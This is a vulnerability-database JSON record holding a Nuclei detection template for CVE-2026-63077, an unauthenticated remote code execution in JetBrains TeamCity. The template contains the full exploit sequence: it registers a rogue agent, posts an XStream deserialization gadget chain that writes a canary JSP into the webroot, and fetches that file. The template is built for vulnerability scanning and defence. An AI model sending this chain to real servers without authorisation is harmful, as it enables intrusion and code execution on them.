{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-63077/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-63077/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-63077/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-63077/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-63077/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-63077"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-63077"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-63077.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-63077\n\ninfo:\n  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.\n  impact: |\n    Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.\n  remediation: |\n    Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.\n  reference:\n    - https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/\n    - https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/\n    - https://github.com/sfewer-r7/CVE-2026-63077\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-63077\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-63077\n    cwe-id: CWE-502\n    epss-score: 0.86518\n    epss-percentile: 0.99729\n    cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: jetbrains\n    product: teamcity\n    shodan-query: title:\"TeamCity\"\n    fofa-query: title=\"TeamCity\"\n  tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"TeamCity\", \"teamcity\", \"JetBrains\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/agents/v1/register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <agentDetails agentName=\"nuclei-{{randstr}}\" agentAddress=\"127.0.0.1\" agentPort=\"9090\" authToken=\"nuclei-{{randstr}}\" pingCode=\"\">\n          <alternativeAddresses/>\n          <availableRunners/>\n          <availableVcs/>\n          <buildParameters/>\n          <configParameters/>\n        </agentDetails>\n\n    extractors:\n      - type: regex\n        name: session\n        part: header\n        group: 1\n        regex:\n          - '(?i)teamcity-agentsessionid: ([^\\r\\n]+)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(to_lower(header), \"teamcity-agentsessionid:\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /app/agents/v1/commands/error HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n        TeamCity-AgentSessionId: {{session}}\n        TeamCity-AgentCommandId: 123456\n\n        <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n        <linked-hash-map>\n          <entry>\n            <string>n1</string>\n            <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>\n              <outer-class>\n                <myHSQLStorage>\n                  <myDataSource>\n                    <defaultTransactionIsolation>-1</defaultTransactionIsolation>\n                    <cacheState>true</cacheState>\n                    <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>\n                    <lifo>true</lifo>\n                    <maxTotal>8</maxTotal>\n                    <maxIdle>8</maxIdle>\n                    <minIdle>0</minIdle>\n                    <initialSize>0</initialSize>\n                    <maxWaitMillis>-1</maxWaitMillis>\n                    <poolPreparedStatements>false</poolPreparedStatements>\n                    <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>\n                    <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>\n                    <testOnCreate>false</testOnCreate>\n                    <testOnBorrow>true</testOnBorrow>\n                    <testOnReturn>false</testOnReturn>\n                    <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>\n                    <numTestsPerEvictionRun>3</numTestsPerEvictionRun>\n                    <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>\n                    <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>\n                    <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>\n                    <testWhileIdle>false</testWhileIdle>\n                    <password/>\n                    <url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>\n                    <userName>SA</userName>\n                    <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>\n                    <connectionInitSqls>\n                      <string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>\n                      <string>INSERT INTO TN{{randstr}} VALUES ('&lt;p&gt;&lt;%=7*6%&gt;&lt;/p&gt;PD-TP-CONFIRMED')</string>\n                      <string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>\n                    </connectionInitSqls>\n                    <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>\n                    <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>\n                    <logExpiredConnections>true</logExpiredConnections>\n                    <autoCommitOnReturn>true</autoCommitOnReturn>\n                    <rollbackOnReturn>true</rollbackOnReturn>\n                    <fastFailValidation>false</fastFailValidation>\n                    <connectionProperties/>\n                    <closed>false</closed>\n                  </myDataSource>\n                  <myStopped>false</myStopped>\n                  <myDatabaseOpen>false</myDatabaseOpen>\n                </myHSQLStorage>\n              </outer-class>\n            </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>\n          </entry>\n          <entry>\n            <string>n2</string>\n            <freemarker.ext.beans.HashAdapter>\n              <wrapper>\n                <sharedIntrospectionLock/>\n                <classIntrospector>\n                  <exposureLevel>0</exposureLevel>\n                  <exposeFields>false</exposeFields>\n                  <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>\n                  <incompatibleImprovements>\n                    <major>2</major>\n                    <minor>3</minor>\n                    <micro>0</micro>\n                    <intValue>2003000</intValue>\n                    <calculatedStringValue>2.3.0</calculatedStringValue>\n                    <hashCode>0</hashCode>\n                  </incompatibleImprovements>\n                  <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>\n                  <shared>false</shared>\n                  <sharedLock reference=\"../../sharedIntrospectionLock\"/>\n                  <cache/>\n                  <cacheClassNames/>\n                  <classIntrospectionsInProgress/>\n                  <modelFactories/>\n                  <clearingCounter>0</clearingCounter>\n                </classIntrospector>\n                <falseModel>\n                  <object reference=\"../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource\"/>\n                  <wrapper reference=\"../..\"/>\n                  <value>false</value>\n                </falseModel>\n                <writeProtected>false</writeProtected>\n                <defaultDateType>0</defaultDateType>\n                <methodsShadowItems>true</methodsShadowItems>\n                <simpleMapWrapper>false</simpleMapWrapper>\n                <strict>false</strict>\n                <preferIndexedReadMethod>true</preferIndexedReadMethod>\n                <incompatibleImprovements reference=\"../classIntrospector/incompatibleImprovements\"/>\n              </wrapper>\n              <model reference=\"../wrapper/falseModel\"/>\n            </freemarker.ext.beans.HashAdapter>\n          </entry>\n          <entry>\n            <string>n3</string>\n            <set>\n              <org.apache.commons.collections.keyvalue.TiedMapEntry>\n                <map class=\"freemarker.ext.beans.HashAdapter\" reference=\"../../../../entry[2]/freemarker.ext.beans.HashAdapter\"/>\n                <key class=\"string\">connection</key>\n              </org.apache.commons.collections.keyvalue.TiedMapEntry>\n            </set>\n          </entry>\n        </linked-hash-map>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        GET /pd-tp-{{randstr}}.jspws HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"PD-TP-CONFIRMED\"\n\n      - type: word\n        part: body\n        words:\n          - \"<%=7*6%>\"\n        negative: true\n\n      - type: status\n        status:\n          - 200\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402205da8f230a99b3ee1dfc1122b90bac31981d318dfbdb2be30c3f63c682dfad101022048cbf70c52c26d003c02da0d2750e868859b114973ccc961ba5be824a6da8936:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-63077"
}